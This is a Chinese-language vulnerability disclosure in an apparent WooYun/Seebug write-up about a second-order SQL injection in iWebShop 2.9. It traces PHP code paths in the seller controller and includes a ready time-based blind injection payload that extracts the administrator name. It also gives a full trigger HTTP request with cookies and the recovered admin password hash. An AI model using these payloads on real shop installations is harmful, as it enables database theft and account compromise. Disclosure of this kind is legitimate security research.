### 简要描述:
Iwebshop最新版二次注入一枚
### 详细说明:
看到wooyun上有人提了几个iweshop(2014-11-18更新)的漏洞( [WooYun: iWebShop开源电子商务系统SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2014-087202) ),去官网看了看,在2014-12-16 已更新到了 iwebshop2.9.14121000,下下来研究研究,希望不要重复。
写入Payload的点:POST /index.php?controller=seller&action=goods_update POST参数中的img
触发注入的点:POST /index.php?controller=seller&action=regiment_edit_act
看看Payload是如何写入的/controllers/seller.php
```
//商品更新动作
public function goods_update()
{
$id = IFilter::act(IReq::get('id'),'int');
$callback = IFilter::act(IReq::get('callback'),'url');
$callback = strpos($callback,'seller/goods_list') === false ? '' : $callback;
//检查表单提交状态
if(!$_POST)
{
die('请确认表单提交正确');
}
//初始化商品数据
unset($_POST['id']);
unset($_POST['callback']);
$goodsObject = new goods_class($this->seller['seller_id']);
$goodsObject->update($id,$_POST);
$callback ? $this->redirect($callback) : $this->redirect("goods_list");
}
```
去看看update是如何把Payload写入的
```
public function update($id,$paramData)
{
$postData = array();
$nowDataTime = ITime::getDateTime();
foreach($paramData as $key => $val)
{
$postData[$key] = $val;
//数据过滤分组
if(strpos($key,'attr_id_') !== false)
{
$goodsAttrData[ltrim($key,'attr_id_')] = IFilter::act($val);
}
else if($key[0] != '_')
{
$goodsUpdateData[$key] = IFilter::act($val,'text');
}
}
无关代码
```
再去看看IFilter::act
/lib/core/util/filter_class.php
```
public static function act($str,$type = 'string',$limitLen = false)
{
if(is_array($str))
{
foreach($str as $key => $val)
{
$resultStr[$key] = self::act($val, $type, $limitLen);
}
return $resultStr;
}
else
{
switch($type)
{
case "int":
return intval($str);
break;
case "float":
return floatval($str);
break;
case "text":
return self::text($str,$limitLen);
break;
case "bool":
return (bool)$str;
break;
case "url":
return self::clearUrl($str);
break;
case "filename":
return self::fileName($str);
break;
default:
return self::string($str,$limitLen);
break;
}
}
}
```
当输入的参数名不包含attr_id_或者不以_开头,则执行IFilter::act($val,'text');对用户的输入进行了addslashes处理,然后就写入了数据库,我们都知道\’在入库时,\是会被去掉的,所以,单引号被写入了数据库。如下图
[<img src="https://images.seebug.org/upload/201501/2123530003264d88b1f35d89e3d520f0f2e581ac.jpg" alt="写入payload副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/2123530003264d88b1f35d89e3d520f0f2e581ac.jpg)
关键问题是被写入的单引号在哪个地方被读出然后再入库,在这个地方找到了/controllers/seller.php
```
//[团购]添加修改[动作]
function regiment_edit_act()
{
$id = IFilter::act(IReq::get('id'),'int');
$goodsId = IFilter::act(IReq::get('goods_id'),'int');
$dataArray = array(
'id' => $id,
'title' => IFilter::act(IReq::get('title','post')),
'start_time' => IFilter::act(IReq::get('start_time','post')),
'end_time' => IFilter::act(IReq::get('end_time','post')),
'is_close' => 1,
'intro' => IFilter::act(IReq::get('intro','post')),
'goods_id' => $goodsId,
'store_nums' => IFilter::act(IReq::get('store_nums','post')),
'least_count' => IFilter::act(IReq::get('least_count','post')),
'regiment_price'=> IFilter::act(IReq::get('regiment_price','post')),
);
if($goodsId)
{
$goodsObj = new IModel('goods');
$where = 'id = '.$goodsId.' and seller_id = '.$this->seller['seller_id'];
$goodsRow = $goodsObj->getObj($where); //出库啦
//商品信息不存在
if(!$goodsRow)
{
$this->regimentRow = $dataArray;
$this->redirect('regiment_edit',false);
Util::showMessage('请选择商户自己的商品');
}
//处理上传图片
if(isset($_FILES['img']['name']) && $_FILES['img']['name'] != '')
{
$uploadObj = new PhotoUpload();
$photoInfo = $uploadObj->run();
$dataArray['img'] = $photoInfo['img']['img'];
}
else
{
$dataArray['img'] = $goodsRow['img']; //把img写入了$dataArray['img'],而$dataArray下面会入库
}
$dataArray['sell_price'] = $goodsRow['sell_price'];
}
else
{
$this->regimentRow = $dataArray;
$this->redirect('regiment_edit',false);
Util::showMessage('请选择要关联的商品');
}
$regimentObj = new IModel('regiment');
$regimentObj->setData($dataArray);
if($id)
{
$where = 'id = '.$id;
$regimentObj->update($where); //入库啦
}
else
{
$regimentObj->add();
}
$this->redirect('regiment_list');
}
```
请看上面代码中的注释,说明了出库再入库的整个过程。
测试方法:申请开店后,登录,发布一个商品,因为第一次发布产品其id为1,而每发一个产品id自动加1,在触发漏洞时的参数goods_id即为这里的id,每次加1即可(写脚本跑也方便了),漏洞会在添加修改团购时触发。
写入Payload时的payload:POST提交
```
id=&img=' or(select if(ord(mid((select admin_name from iwebshop_admin limit 0,1),1,1))=97,sleep(1),0))or'&_imgList=&callback=%2Fseller%2Findex&name=a&search_words=a&sort=99&unit=a&_goods_no%5B0%5D=SD142184781210&_store_nums%5B0%5D=100&_market_price%5B0%5D=123&_sell_price%5B0%5D=234&_cost_price%5B0%5D=345&_weight%5B0%5D=123&model_id=0&brand_id=0&is_del=3&content=&keywords=&description=
```
触发漏洞时的部分payload:post提交
```
POST /index.php?controller=seller&action=regiment_edit_act HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/index.php?controller=seller&action=regiment_edit&id=1
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; ypsdffp2app_admininfo=3ea11oJSSGDzcgLaKJDrFiEPRQYqj%2Blp5mLLe86ouSLzMcMMel8RqXt%2BcZaONpt0jYKtml%2FsZqrOv32i8lriIBjKBlTBDmbz6JsxAIZYnUnYVJQ; iweb_safecode=480691d9d1OTA2OTUwMDQxMzI4YjU0ZWw2NTBiMjNlMD9nZTA1MDc; iweb_seller_id=658d8a2adfMDMxNzIwMDA5MjBiNzU9MzhiYDJsNzA1OTs2YWFkZmMx; iweb_seller_name=658d8a2adfMDMxNzIwMDA5MjEzYWZoZzY8YDU8MTEyMWA1ZjRiMjZwaGdzZnN3; iweb_seller_pwd=480691d9d1OTA2OTUwMDQxMzc1MGQ7Oj9hYzUzOGMyYWg3MmBmZGRjNTA5YWFjMTA4NDM5MjE9ZTQ0YzZhMmk7MDpjMTBhNg; iweb_shoppingcart=daab27438eMDAwODI0MDA3ODcwY2JlMGZkZzE4YjAzZDw1MzA8Mz57JmFpb2NxLjlbXSIleXtsZ3VidCY6W15%2F; iweb_user_id=50efcc9726NjAzMDA5MDUwNDcxYzQ2b2YzNTBpMzBlOTZhZjUyOT8; iweb_username=50efcc9726NjAzMDA5MDUwNDcxYzQ2b2YzNTBpMzBlOTZhZjUyOT8; iweb_head_ico=50efcc9726NjAzMDA5MDUwNDcxYzQ2b2YzNTBpMzBlOTZhZjUyOT8; iweb_user_pwd=cfe17d7df9MDAwODIwMDA1MzI6ZDQ2YGU2NjFiOzBlMDZqbzQyOTY; iweb_visit=fe1f056e18MjAwOTAwMjE4MzZkMGY1MGZlZjg1YTlgZDdqPWQ0MTMlNyM; ipAddress=%E5%9B%9B%E5%B7%9D; iweb_captcha=85205ae681MDQ2MDQ1NTIwNTEwYWU2YWo4ZWc1YjJkYz1hbDI3PDJjYnFjZg
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------288682924126107
Content-Length: 1138
-----------------------------288682924126107
Content-Disposition: form-data; name="id"
1
-----------------------------288682924126107
Content-Disposition: form-data; name="goods_id"
12
```
因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图
[<img src="https://images.seebug.org/upload/201501/212354152bc3f0af586893e02b2e2580ac26bf49.jpg" alt="猜测失败副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/212354152bc3f0af586893e02b2e2580ac26bf49.jpg)
若正确,延迟3s左右(和数据库中的记录有关)如下图
[<img src="https://images.seebug.org/upload/201501/21235436c0b869560bfacf2026e09d5149235f87.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/21235436c0b869560bfacf2026e09d5149235f87.jpg)
按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: f6fdffe48c908deb0f4c3bd36c032e72
### 漏洞证明:
见 详细说明
暂无评论